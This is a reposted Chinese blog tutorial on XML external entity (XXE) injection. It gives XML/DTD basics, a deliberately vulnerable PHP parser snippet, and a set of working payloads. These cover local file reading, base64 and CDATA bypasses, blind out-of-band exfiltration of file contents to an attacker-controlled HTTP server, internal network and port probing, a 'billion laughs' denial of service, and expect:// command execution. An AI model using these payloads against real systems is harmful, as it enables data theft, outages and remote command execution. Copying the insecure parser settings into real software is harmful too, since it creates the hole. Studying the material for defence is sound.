当前位置:   article > 正文

XXE xml外部实体注入_外部实体注入 cmd=id

外部实体注入 cmd=id

在这里插入图片描述
XML基础:
可扩展标记语言,用于传输数据(允许作者自定义自己的标签,和文档结构)
构建模块
元素,属性,实体
PCDATA:被解析的字符数据
CDATA:字符数据(不会被解析器解析)
语法规则
1.所有xml 元素必须有关闭标签
2.xml 标签对大小写敏感
3.xml 必须正确嵌套
4.xml 属性必须加引号
5.实体引用
6.空格会被保留
XML元素
指从开始标签到结束标签的部分
每个元素可以有对应的属性
XML DTD
定义xml文档的合法构建模块,说明xml内容格式范围

内部DOCYYPE声明:

<!DOCTYPE 根元素 [元素声明]>
  • 1

外部文档声明:

<!DOCTYPE 根元素 SYSTEM "文件名">
  • 1

声明一个元素:

<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>
  • 1
  • 2

声明属性:

<!ATTLIST 元素名称 属性名称 属性类型 默认值>
  • 1

一个外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">
  • 1

XXE漏洞
原理:实体可以通过预定义在文档中被调用,而实体的标识符又可以访问本地或远程内容,当允许引用外部实体时,攻击者便构造恶意内容攻击

由于libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。

源码:

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

读取文件:
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "file:///c:flag.txt"> ]> 
<creds>&xxe;</creds>
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

当读取的文件存在‘<’,’&'等字符会被xml解析报错
在这里插入图片描述
可以利用编码,构造payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=c:flag.txt"> ]> 
<creds>&xxe;</creds>
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述

或者可利用CDATA:
由于xml限制内部参数实体引用,可搭建服务器进行外部参数实体引用
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [ <!ENTITY % start "<![CDATA["> 
<!ENTITY % go SYSTEM "file:///c:flag.txt"> 
<!ENTITY % end "]]>"> 
<!ENTITY % dtd SYSTEM "http://192.168.238.132/1.dtd"> %dtd; ]> 
<root>&all;</root>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

1.dtd内容为:

<!ENTITY all "%start;%go;%end;">
  • 1

在这里插入图片描述
XXE无回显
由于外部实体参数能请求外部uri,可以利用http协议把数据作为参数进行传递。就实现了数据外带
payload:

<?xml version="1.0"?>
<!DOCTYPE message [  
<!ENTITY % remote SYSTEM "http://192.168.238.132/1.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64encode/resource=file:///c:flag.txt">
%remote;    %send; ]>
<message>1234</message>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

1.dtd内容:

<!ENTITY % start
"<!ENTITY &#x25; send SYSTEM 'http://192.168.238.143/index.php?c=%file;'> "
>
 %start;
  • 1
  • 2
  • 3
  • 4

请添加图片描述
请添加图片描述
内网探测:
payload:也可以进行端口探测

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.238.143/">]>
<xml>
<stuff>&xxe;</stuff>
</xml>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

在这里插入图片描述

不存在则报错:
在这里插入图片描述

DOS攻击:
payload:

<?xml version="1.0"?> <!DOCTYPE lolz [  <!ENTITY lol "lol">  
<!ENTITY lol2 
"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">  
<!ENTITY lol3 
"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">  
<!ENTITY lol4 
"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">  
<!ENTITY lol5 
"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">  
<!ENTITY lol6 
"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">  
<!ENTITY lol7 
"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">  
<!ENTITY lol8 
"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">  
<!ENTITY lol9 
"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> 
<lolz>&lol9;</lolz>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

可以在内存中小型xml文档扩展超过3GB

利用expect扩展 命令执行
payload:

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]> 
<dir> 
<file>&cmd;</file> 
</dir>
  • 1
  • 2
  • 3
  • 4

参考:https://xz.aliyun.com/t/3357

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/612657
推荐阅读
相关标签
  

闽ICP备14008679号